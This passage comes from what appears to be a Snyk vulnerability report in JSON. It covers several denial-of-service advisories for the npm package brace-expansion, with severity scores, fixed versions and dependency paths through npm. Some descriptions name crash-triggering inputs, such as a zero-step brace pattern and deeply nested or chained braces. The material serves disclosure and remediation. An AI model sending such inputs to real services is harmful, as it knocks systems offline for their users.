"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
